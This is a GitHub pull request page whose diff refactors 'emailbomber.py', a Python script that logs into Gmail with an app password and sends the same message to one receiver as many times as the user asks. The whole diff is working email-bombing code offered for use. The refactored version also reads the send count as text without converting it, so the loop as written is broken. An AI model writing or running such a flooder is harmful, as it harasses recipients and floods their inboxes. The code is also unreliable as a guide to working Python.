Skip to content

#4 features #5

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
wants to merge 1 commit into from
Closed
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
83 changes: 56 additions & 27 deletions emailbomber.py
Original file line number Diff line number Diff line change
@@ -1,38 +1,67 @@
print(
"""
import os
import smtplib
from dataclasses import dataclass, field
from functools import partial

WELCOME_MSG = """ # noqa
███████╗███╗ ███╗ █████╗ ██╗██╗ ██████╗ ██████╗ ███╗ ███╗██████╗ ███████╗██████╗
██╔════╝████╗ ████║██╔══██╗██║██║ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗██╔════╝██╔══██╗
█████╗ ██╔████╔██║███████║██║██║ ██████╔╝██║ ██║██╔████╔██║██████╔╝█████╗ ██████╔╝
██╔══╝ ██║╚██╔╝██║██╔══██║██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗██╔══╝ ██╔══██╗
███████╗██║ ╚═╝ ██║██║ ██║██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝███████╗██║ ██║
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝
version 1.1 : uses app passowrd now, before it used less secure apps
version 1.1 : uses app password now, before it used less secure apps
Author : linktr.ee/coderatul
Before using please read "prerequisite section"
"""
)
sender = input("Enetr Sender's Gmail Id -> ")
app_password = input("Enter App password -> ")
receiver = input("Enter Receiver's Gmail Id -> ")
message = input("Enter Your Message -> ")
count = int(input("Enter number of mail's to be sent -> "))
import smtplib
server = smtplib.SMTP("smtp.gmail.com",587)
server.starttls()
try:
server.login(user= sender,password= app_password)
except:
print("")
print("""check for the following:
1. Read prerequisite section
2. Check app password
3. try again and enter details carefully
""")
else:
for i in range(count):
server.sendmail(from_addr= sender,to_addrs= receiver,msg= message)
if count < 2:
print(count,"mail have been sent to :",receiver)
SMTP_SERVER = "smtp.gmail.com"
SMTP_PORT = 587


@dataclass
class InputArgs:
sender: str = field(
default_factory=partial(input, "Enter Sender's Gmail Id -> ")
)
password: str = field(
default_factory=partial(input, "Enter App password -> ")
)
receiver: str = field(
default_factory=partial(input, "Enter Receiver's Gmail Id -> ")
)
message: str = field(
default_factory=partial(input, "Enter Your Message -> ")
)
count: int = field(
default_factory=partial(input, "Enter number of mail's to be sent -> ")
)


def run_bomber(args: InputArgs):
server = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
server.starttls()
try:
server.login(user=args.sender, password=args.password)
except smtplib.SMTPException as exc:
msg = exc.smtp_error.decode() # noqa
if os.name == "nt":
msg = msg.replace("\n", os.linesep)
print(msg)
return

for i in range(args.count):
server.sendmail(
from_addr=args.sender,
to_addrs=args.receiver,
msg=args.message,
)
if args.count < 2:
print(args.count, "mail have been sent to :", args.receiver)
else:
print(count,"mails have been sent to :",receiver)
print(args.count, "mails have been sent to :", args.receiver)
server.close()


if __name__ == "__main__":
print(WELCOME_MSG)
run_bomber(InputArgs())